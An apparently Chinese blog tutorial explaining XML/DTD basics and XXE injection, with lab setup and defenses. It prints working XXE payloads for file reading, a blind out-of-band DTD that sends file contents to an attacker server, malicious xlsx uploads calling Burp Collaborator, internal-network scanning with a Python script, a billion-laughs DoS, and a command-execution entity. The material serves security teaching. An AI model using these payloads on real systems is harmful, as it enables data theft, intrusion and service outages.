Web攻防

初识XXE及其利用小结

2020-08-14  本文已影响0人  book4yi

XML基础知识:


XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言

XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。

xml文档的构建模块:元素、属性、实体、PCDATA、CDATA
实体:定义普通文本的变量
PCDATA:被解析的字符数据
CDATA:不会被解析的字符数据。
DTD实体:定义引用普通文本或特殊字符的快捷方式的变量,可以内部声明或外部引用。
DTD可以在XML文档内声明,也可以外部引用。
内部声明:<!DOCTYPE 根元素 [元素声明]>
外部声明:<!DOCTYPE 根元素 SYSTEM "文件名">
举例:<!DOCTYPE test SYSTEM 'http://www.test.com/evil.dtd'>
实体:一般实体和参数实体。
一般实体的声明语法:<!ENTITY 实体名 "实体内容”>,引用实体的方式:&实体名。
参数实体的声明格式:<!ENTITY % 实体名 "实体内容”>,参数实体只能在DTD中使用。引用实体的方式:%实体名
外部实体声明:<!ENTITY 实体名称 SYSTEM "http://test.test.com/a.dtd">
内部实体声明:<!ENTITY entity-name "entity-value">
读取文本文件:<!ENTITY xxe SYSTEM "file:///etc/password">

XML DTD介绍:
DTD文档类型定义,约束了xml文档的结构。拥有正确语法的XML被称为“形式良好”的XML,通过DTD验证约束XML是“合法”的XML。

示例代码:

<?xml version="1.0" encoding="utf-8" ?> 
<!DOCTYPE 学生名册 [
<!ELEMENT 学生名册 (学生+)> 
<!ELEMENT 学生 (姓名,性别,年龄)>
<!ELEMENT 姓名 (#PCDATA)> 
<!ELEMENT 性别 (#PCDATA)>
<!ELEMENT 年龄 (#PCDATA)> 
<!ATTLIST 学生 学号 ID #REQUIRED>
]>

上面这个 DTD 就定义了 XML 的根元素是 学生手册,然后跟元素下面有一些子元素,那么 XML 到时候必须像下面这么写

<学生名册>  
    <学生 学号="a1">
<姓名>张三</姓名>
<性别>男</性别>
<年龄>20</年龄>  
</学生>
<学生 学号="a2">
<姓名>李四</姓名>
<性别>男</性别>
<年龄>24</年龄>
</学生>
<学生名册>

除了在 DTD 中定义元素(其实就是对应 XML 中的标签)以外,我们还能在 DTD 中定义实体(对应XML 标签中的内容),毕竟 XML 中除了能标签以外,还需要有些内容是固定的

示例代码:

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE book4yi [
<!ELEMENT book4yi ANY >
<!ENTITY xxe "test123" >]>

这里 定义元素为 ANY 说明接受任何元素,但是定义了一个 xml 的实体,实体其实可以看成一个变量,到时候我们可以在 XML 中通过 & 符号进行引用),那么 XML 就可以写成这样

<creds>
<user>&xxe;</user>
<pass>password</pass>
</creds>

我们使用 &xxe 对 上面定义的 xxe 实体进行了引用,到时候输出的时候 &xxe 就会被 "test123" 替换。

初识XXE:

XXE全称XML External Entity Injection,也就是XML外部实体注入攻击,是对非安全的外部实体数据进行处理时引发的安全问题


发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件和代码

1、登录处
2、文件上传处:当目标接受Excel文件进行上传和处理的目标应用程序,则可能存在xxe漏洞
原理:现代Excel文件实际上只是XML文档的zip文件,称为Office Open XML格式或OOXML。
当应用程序处理上传的xlsx文件时需要解析XML,如果解析器未做安全配置,则可能导致xxe漏洞。

更改test.xlsx文件后缀位test.zip
unzip test.zip

vim '[Content_Types].xml'

添加paylaod:
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://mkazyh916th6c7sw7qmgbxv87zdp1e.burpcollaborator.net"> ]>
<foo>&xxe;</foo>

重新压缩回去:
zip -r test.xlsx ./*
重新上传文件,发现接收到了服务器的请求,确定漏洞存在

libxml2.9.0以后,默认不解析外部实体

环境搭建:


项目地址:
https://github.com/c0ny1/xxe-lab
无回显xxe:

# blind_xxe.php
<?php
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xmlfile,LIBXML_NOENT | LIBXML_DTDLOAD);
$creds = simplexml_import_dom($dom);
?>

文件上传处的xxe漏洞验证:


创建一个xlsx文档,更改后缀为zip,使用压缩工具解压缩:

打开Burp Suite Professional,单击Burp菜单并选择“Burp Collaborator client”将其打开,复制到粘贴板

找到Content_Types.xml文件,插入xxe代码到文件中

<!DOCTYPE x [ <!ENTITY xxe SYSTEM "http://gdx7uyvhtysav8fbqbp8xf5utlzcn1.burpcollaborator.net"> ]>
<x>&xxe;</x>

重新压缩为zip文件,更改后缀为xlsx。
上传xlsx文档到目标服务器,如果没有禁用外部实体,就会存在XXE漏洞,burp接收到请求

xxe利用小结:


搭建好环境后我们登录尝试抓包:

可以看到类似标签页信息,如果没有下面的请求头的话可以添加这个头,这样可以让服务器试着解析XML格式

Accept: application/xml, text/xml, */*;

在数据包里面添加XML文档,需要使用&xxe;来引用上面的XXE

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE ANY [
    <!ENTITY xxe "book4yi">
]>
<user><username>&xxe;</username><password>admin</password></user>
1、任意文件读取

服务器有回显:
利用POC:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE ANY [
    <!ENTITY xxe SYSTEM "file:///c:/Windows/win.ini">
]>
<user><username>&xxe;</username><password>123</password></user>

读取php文件:
直接读取php文件会报错,因为php文件里面有<>//等特殊字符,xml解析时候会当成xml语法来解析。这时候就分不清处哪个是真正的xml语句了

直接利用file协议读取PHP文件,就会产生报错。需要通过base64编码来读取

<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE xxe[
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=file:///D:/Apache24/htdocs/blind_xxe.php">]>
<user><username>&xxe;</username><password>123</password></user>

base64解码后成功获取php源码:

服务器无回显:
环境:blind_xxe.php
使用http协议将请求发送到远程服务器上,从而获取文件内容
首先在远程服务器写入一个test.dtd文件

<!ENTITY % all 
    "<!ENTITY &#x25; send SYSTEM 'http://x.x.x.x:8000/?%file;'>"
>
%all;

VPS服务器开启一个HTTP服务器:

python3 -m http.server

向目标机器发送payload:

<?xml version="1.0"?>
<!DOCTYPE ANY [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/Windows/win.ini">
<!ENTITY % dtd SYSTEM "http://x.x.x.x:8000/test.dtd">
%dtd;
%send;
]>

大概过程:

首先是读取test.dtd文件,然后调用实体all,实体内容中又会去调用实体send,这里因为实体内容不允许存在%的原因,这里将其进行unicode编码为&#x25,实体send会调用实体file,从而将c:/Windows/win.ini的内容进行base64编码后,将编码后的数据发送到http://x.x.x.x:8000/?{base64}

vps成功接收信息

2、内网探测:

xxe 由于可以访问外部 url,也就有类似 ssrf 的攻击效果,同样的,也可以利用 xxe 来进行内网探测

使用以下POC来探测目标主机,所开的端口,也可以写个python脚本跑

<?xml version="1.0" encoding="utf-8"?>
    <!DOCTYPE ANY [
        <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=http://192.168.107.140:8000">
]>
<user><username>&xxe;</username><password>123</password></user>

在有回显的情况下,如果内网有服务会有响应,否则返回为空

探测端口:

探测内网主机:

<?xml version="1.0" encoding="utf-8"?>
    <!DOCTYPE ANY [
        <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=http://192.168.107.140">
]>
<user><username>&xxe;</username><password>123</password></user>

有回显的情况下:

无回显的情况下,主要对比响应时间:

python脚本demo:

import requests
import base64

def build_xml(string):
    xml = """<?xml version="1.0" encoding="utf-8"?>"""
    xml = xml + "\r\n" + """    <!DOCTYPE ANY ["""
    xml = xml + "\r\n" + """        <!ENTITY xxe SYSTEM """ + '"' + string + '"' + """>]>"""
    xml = xml + "\r\n" + """<username>&xxe;</username>"""
    send_xml(xml)


def send_xml(xml):

    headers = {'Content-Type': 'application/xml',
               'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36'}

    # x = requests.post('http://192.168.107.140/blind_xxe.php', data=xml, headers=headers, timeout=5, proxies=proxies).text
    x = requests.post('http://127.0.0.1/blind_xxe.php', data=xml, headers=headers, timeout=15, proxies=proxies)
    xx = x.text
    status = x.status_code
    coded_string = xx.split(' ')[-2] # a little split to get only the base64 encoded value
    print status
    print coded_string
#   print base64.b64decode(coded_string)

proxies = {
    "http": "http://127.0.0.1:8080"
}

for i in range(128,132):
    try:
        i = str(i)
        ip = '192.168.107.' + i
        string = 'php://filter/convert.base64-encode/resource=http://' + ip
        print string
        build_xml(string)
    except:
      print "error"

大致的效果如下:

Dos攻击(本地复现失败):
<?xml version="1.0" encoding="utf-8"?>
  <!DOCTYPE lolz [
    <!ENTITY lol "lol">
    <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
    <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
    <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
    <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
    <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
    <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
    <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
    <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
  ]>
 <lolz>&lol9;</lolz>

当XML解析器加载这个文档时,他会看到它包含一个包含文本&lol9;的根元素,不过&lol9;是一个定义的实体,扩展包含十个&lol8;的字符串,每个&lol8;是一个定义的实体,扩展为十个&lol7;的字符串。因为许多XML解释器在解析XML文档时倾向于将它的整个结果保存在内存中,所以这个不到1kb的xml文件实际包含10亿个lol,占用几乎3GB的内存,造成DDOS攻击。

该攻击通过创建一项递归的 XML 定义,在内存中生成十亿个”abc”字符串,从而导致 DDoS 攻击。原理为:构造恶意的XML实体文件耗尽可用内存,因为许多XML解析器在解析XML文档时倾向于将它的整个结构保留在内存中,解析非常慢,造成了拒绝服务器攻击。

命令执行:

PHP环境下,xml命令执行要求php装有expect扩展。该扩展默认没有安装。

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "except://ipconfig">
]>

本地未测试

防御方法:

1、禁用外部实体

# php:
libxml_disable_entity_loader(true);

# java:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);
.setFeature("http://apache.org/xml/features/disallow-doctype-decl",true);
.setFeature("http://xml.org/sax/features/external-general-entities",false)
.setFeature("http://xml.org/sax/features/external-parameter-entities",false);

# python:
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

过滤和验证用户提交的XML数据
不允许XML中含有任何自己声明的DTD
有效的措施:配置XML parser只能使用静态DTD,禁止外来引入;对于Java来说,直接设置相应的属性值为false即可

参考如下:


XXE漏洞
XXE从入门到放弃
XXE的一些利用方式
web安全-文件上传利用
一篇文章带你深入理解漏洞之 XXE 漏洞

上一篇下一篇

猜你喜欢

热点阅读